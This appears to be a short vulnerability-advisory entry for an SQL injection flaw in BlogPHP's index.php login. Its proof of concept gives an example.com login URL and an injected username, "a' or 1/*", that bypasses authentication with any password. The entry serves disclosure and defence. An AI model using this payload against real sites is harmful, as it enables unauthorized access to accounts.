• info
• discussion
• exploit
• solution
• references

BlogPHP Index.PHP SQL Injection Vulnerability

An exploit is not required.

The following proof of concept is available:
http://www.example.com/index.php?act=login
username: a' or 1/*
password: anypassword